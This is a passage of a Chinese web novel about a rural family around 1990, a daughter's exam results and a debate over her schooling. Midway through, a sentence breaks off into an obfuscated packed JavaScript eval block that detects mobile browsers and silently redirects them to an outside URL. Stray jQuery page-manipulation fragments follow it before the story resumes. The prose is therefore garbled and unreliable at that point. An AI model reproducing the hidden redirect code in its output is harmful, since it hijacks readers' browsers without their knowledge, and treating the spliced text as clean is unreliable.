随着六月的到来，天气越发炎热。村里的人逐渐把晚餐搬到了晒谷坪上。


    晚饭时分，晒谷坪上摆放着小方桌、竹床和黑白电视机。忙碌了一天的人们围坐在桌旁吃饭，电视里播放着《封神榜》，“花开花落，花开花落，悠悠岁月长长的河……”毛阿敏的歌声响起，人们沉浸在剧情里难以自拨。


    “这个妲己真坏！真狠毒！”


    “哪吒长得好看，难怪说他是荷花荷叶变出来的……”


    有时电视看着看着，忽然白光一闪就黑屏了。黑暗的村庄里，不约而同响起阵阵遗憾的叹息声，——停电了。


    在广告的间隙里，主妇们收桌子洗碗，催促孩子们去洗澡。等两集电视剧结束，就到了睡觉的时间。孩子们躺在竹床上，凉风悠悠，明月朗朗，抬眼就是浩瀚的天空。也有大人把家里的门板取下来，支在两根条凳上，铺上席子就成了床。


    天气起来后，秀水几乎每天都睡在外面。晚上拿湿毛巾把竹床擦两遍，躺上去凉丝丝的。南风吹过，带来一点凉意和青草气息。萤火虫在菜园里忽闪着飞过，在蛙声的聒噪中，不知不觉就沉入了梦乡。


    他们家睡得比别家更早，往往是第一集电视剧刚结束，刘瑞英就忙忙地关电视，收拾一番准备睡觉。对此大家并没有异意。毕竟家里的作息太魔鬼了，别人家是五点钟起床，而刘瑞英和喻庆山一两点钟就得起床干活。


    推磨是辛苦的，但刘瑞英是快乐的。泡发好的黄豆，她和喻庆山一个人喂料，一个人推磨，替换着来，大半个钟头就能磨完。在闷热的厨房里，两人汗出如浆，滤渣、煮浆、点卤、压制一气呵成。等包子进了笼上了汽水，她才去喊女儿们起床。毕竟她中午还能补个觉，秀水却不太有这种机会。


    秀水连早饭都在城里吃，时间太宝贵，她每次都是抹抹脸梳个头就出发了。秀竹现在不用送姐姐，可以坐在餐桌边从从容容地吃完再走。孩子马上要中考了，需要营养，刘瑞英每天给她的豆浆里放两勺白糖。


    “只要你考上了，妈就让你读！”她在餐桌前碎碎念，“妈是没机会读书，我的女儿想读多久就读多久……早先我读初中的时候，学习成绩还不是经常考全班第一。结果到初二你外公外婆硬是不让我读了，说女孩子读书没有用，年龄大了上学遭人笑话。那时候我的班主任林老师到家几次，给你外公外婆做思想工作，硬是没做通。林老师最后流着眼泪走走的，唉——，林老师真是个好人，也不晓得现在去了哪里教书……你好好上学，不用操心学费的事。家里有钱供你读，何况现在咱家卖包子还能挣点钱……”


    闲的时候她又清点家里存款，眼看着都快过万了，她的心里就激动得怦怦跳。整个红英大队都挑不出一个万元户呢，而她刘瑞英，存款即将过万了！


    “明年咱们就盖房！”她意气风发地和喻庆山商量，“要去买红砖、买瓦，盖崭新的砖瓦房。到时让她们姐妹俩一人一间卧室。秀水大了，也该一个人住了……还有厨房也盖宽敞点，再盖个杂物间……”


    对于她的提议，喻庆山向来是支持的。听老婆的话是这个男人最可贵的优点。更何况，他对新房的期盼也一点都不比刘瑞英少。夫妻俩核计着盖房的用料用工，把日子过得充满盼头。


    不知不觉间就到了六月中旬，喻秀竹迎来了自己的首次大考——中考。


    中考当天，家里依旧是早早地磨豆浆、做包子。不同以往的是，刘瑞英煎了好几个焦黄的荷包蛋，一看就没少放油。还下了一大盆面条，早上现卤的肥肠，她连肠带汤地在每人碗里都浇了两大勺。


    等秀竹起床，秀水已经吃完准备走了，她推着自行车冲妹妹嚷嚷：“好好考，放轻松。你没问题的。”


    “好，我晓得。”秀竹答：“姐你快走，路上小心！”


    吃完饭喻秀竹自己骑车去了考点。下午回家后，刘瑞英觑着小女儿的脸色，问：“考得咋样？”


    “还行吧。”喻秀竹答。


    刘瑞英和喻庆山见她神情轻松，心里便安定了。秀竹说还行，那就是没问题。


    三天时间一晃而过。等孩子们全部考完，秀竹的班主任王老师才交给她一封信。原来一个星期前这封信就到了，但王老师生怕这些杂七杂八的信件会影响孩子中考，就截留了下来。秀竹可是他们班甚至是全校唯一的希望，关键时刻可不能让她分心。


    秀竹在骑车回家的路上，走到一半，就停在一座小树林里拆开了信。果然是她的笔友奇志写来的。


    奇志先是在信中提到了最近上过新闻的一件事，前几天的某个晚上，某市居民看到空中有个大火球坠落在地，大家议论纷纷，都认为这是外星人派来的UFO。


    “我们对头顶的这片星空知之甚少。”奇志在信中写道：“同样的，我们对人类自身的探索也才刚刚起步。比如人类的灵魂究竟是由什么组成的，是什么让我们成为了现在的我们……


    你信中所说的姐姐的改变，让我想到了一个古老的悖论。雅典国王忒修斯曾经驾驶船只，去一座岛屿斩杀怪物。为了纪念他的功绩，人们保留了这艘船，并不断维修。最后，这艘船的所有部件都被更新替换过了。就有人提出疑问，如果这艘船的所有部件都是新的，那它还能被称为“忒修斯之船”吗？如果用替换下来的部件重新建一艘船，那么，哪一艘船才是真正的“忒修斯之船”？


    我不知道。但我想，无论答案是什么，你的心中肯定已经有了自己的看法。


    另外，很遗憾地告诉你一个消息，我们的通信恐怕要暂停一段时间了。因为这个学期过后，我就要跟父母去美国读书了。对于那个陌生的国度，我已经期盼很久了。我很兴奋，但也有点迷茫。很舍不得生活了这么久的这座城市，也舍不得你和朋友们。等我在那边定居下来，我们再继续通信！


    顺祝一切安好！


    你的朋友奇志。


    一九九零年六月。”


    秀竹坐在树下看了两遍，这才抬头看了看身周的世界。乡村的田野里，青草和秧苗长得郁郁葱葱。忒修斯之船和美国都显得遥不可及。她这一生，还从没去过离家一百里之外的地方，而她知识渊博的朋友却要离开中国，去另一个国家读书了。


    这让她倍感惆怅，同时又生出了一点隐秘的向往。


    不过向往归向往，回了家还是一切照旧。秀竹中考完毕后，刘瑞英和喻庆山都觉得轻省了好些。因为家里多了个劳动力。家里的耕牛是和喻庆海共用的，两家轮着喂。现在正好轮到了喻庆山家。于是秀竹天天早上跟姐姐一起起床，一个去卖包子，一个去放牛。等太阳出来后，她牵着牛回来，肩上还担一筐青草。然后洗衣服，跟父母下田除草，没几天就晒得黢黑。


    过了大半个月，王老师托人带信，让她去学校一趟。喻秀竹忙骑车去了，回来后把抄的分数条给父母看，她的分数不仅超过了县一中的录取线，也超过了县师范的录取线。


    “英语考得不行，其他都还行。”她谦虚地说。


    除了英语考了六十多分，秀竹其余的科目都过了九十分。数学和物理更是接近满分。而英语也并非是她没学好，而是她所在的乡镇中学前年才分配来一个英语老师。之前学校是没有开设英语这个科目的。


    刘瑞英简直乐开了花，“喻庆山，你家祖坟冒青烟了！”


    喻庆山也笑得合不拢嘴，“好好好！以后有书读了！只要你考上了，爸就供你读！”


    秀水看着分数条，也很震惊。她知道妹妹成绩好，但没想到这么好！就乡镇初中那个师资水平，孩子们考个位数才是常态。而且她从没见过秀竹在家写作业看书，这就是天赋怪吗？


    “暑假好好把英语补一补，”秀水建议，“能去县一中读书的孩子都很厉害，英语太差了到时会拖后腿。”


    饭桌边的另三个人都沉默了，片刻后刘瑞英说：“读什么高中？好容易能进县师范，肯定是去读师范啊。”


    县师范指的是怀安县中等师范学校，虽然是个中专，但八十年代的录取分数线要远远高于县重点高中。因为读师范有补助，毕业后县里包分配，能稳稳地吃上商品粮。所以它也是很多农村孩子不可企及的梦想。


    大女儿没能吃上商品粮，刘瑞英始终耿耿于怀。好在小女儿争气，从小学习就好。要是进了县师范，毕业后就成了老师，一辈子都不用在农村种地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722573|189438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    秀水却提出反对意见，“读什么师范！竹子这么聪明，肯定要读高中、念大学啊。以后大学生才吃香。”


    谁不知道大学生吃香？问题是谁能保证孩子以后考上大学啊？放眼整个红英大队，还没有出过一个大学生呢，连高中生都很稀少。


    但秀水说得这么理所当然，连刘瑞英这个县师范的坚定支持者都产生了一丝小小的动摇。不过她很快就清醒过来，“那要是考不取大学呢？不白读了？”


    “那就复读一年再考呗。”


    “复读两三年都考不上的人多的是，”刘瑞英道：“而且我听人说，女孩子上了高中，后劲不足。不像男孩们有冲劲，高一不行也能在高三赶起来。所以我说读师范就挺好。”


    “您都听谁胡说八道呢，”秀水皱起了眉，“谁说女孩上了高中就后劲不足？有什么理论或数据支持这个论点吗？”


    “你妈说得没错，本来考大学的女孩子就少。”喻庆山在旁边给老婆帮腔。


    “那是因为很多女孩子都被剥夺了受教育的权利！”秀水道：“就跟妈一样，本来学习很好，家里不让上学，就只好不读了。妈，要是当年你父母支持你一直读下去，说不定你现在也是大学生！”


    这话听得刘瑞英心里又酸楚又舒坦，而且大女儿现在是家里最能挣钱的人，她的话也自然有了份量。于是刘瑞英转头问秀竹，“你想到哪儿读书去？”


    秀竹看看父母，又看姐姐，抿嘴不答。


    “让孩子好好想想，急什么！”喻庆山说着，站起来搬门板去了。


    晚上姐妹俩躺在纳凉的竹床上，秀水有一下没一下地摇着蒲扇，秀竹却是看着星空沉默了半晌。


    她以前从没想过那么远的事。她妈总是羡慕舅舅，有份旱涝保收的工作，家里能经常吃肉，因此秀竹也以为，有个铁饭碗、吃上商品粮就是人生巅峰。


    可是自从听奇志说，他要出国去读书，她原本的世界就裂开了一条小小的缝。现在，她姐的建议又让这条缝里透进了一线光。于是秀竹生出了一个更大的梦想：到大城市去读学，去看看外面的世界是什么样的。


    “姐，”她翻了个身，看着秀水，“你说，女孩子上高中真的会成绩下滑吗？今天，王老师也对我说了这些话……”


    王老师那么喜欢她、关心她，都在劝她读师范。可见在父母和师长们看来，县师范真的是她最好的选择吧。


    秀水没有回答她这个问题，而是说：“这个说法是不是真的，并不重要，重要的是，你信不信这话？”


    “高中的课程会比初中难很多。而且你高中的同学跟初中也不同。县一中的孩子都是各个学校的尖子生，以往你轻轻松松就能拿个全班第一，到了一中你会发现，取胜不是件容易的事情了。”秀水望着天空，轻声分析，“你会有挫败感，会觉得迷茫，然后脑海中就会不自觉想起那句话，女孩子本来就不行。”


    顿了顿，她又说：“可你要是认真看看周围，就会发现，所有的学生都会在高中课程上遇到困难，男生的挫败不会比你少。但这个世界总是鼓励男孩子勇往直前，去攫取自己想要的胜利。所以他们前进的步伐总会更坚定。”


    她扭头看秀竹，“所以，你问我这个说法是真的吗？我不信。我从来就不信女孩子不能干这个干那个。你的父母和老师基于他们的人生经验，给了你他们认为对的建议。但我认为你自己的想法才最重要。你觉得自己是主角，你才会成为主角；你想要达成某个目标，你就要去努力去争取。别人的建议和看法可以适当听听，但别被这些话把自己困住了……”


    秀竹听得呆了，在她小小的世界里，除了奇志，没有人会对她说这样的话。甚至奇志都没有说过这样的话。


    她看着姐姐，很久才悄声问：“姐，你……你其实是从外星来的吧？”


    “为什么这么问？”秀水扭头看她，过了一会儿又说：“不过，我确实了解一点未来的世界。在那个世界里，有很多优秀的女性，她们是科学家、企业家、官员、运动员，很了不起……”她顿了顿，语气中带上了自豪，“还有人在世界级的综合格斗比赛中获得金腰带哦……”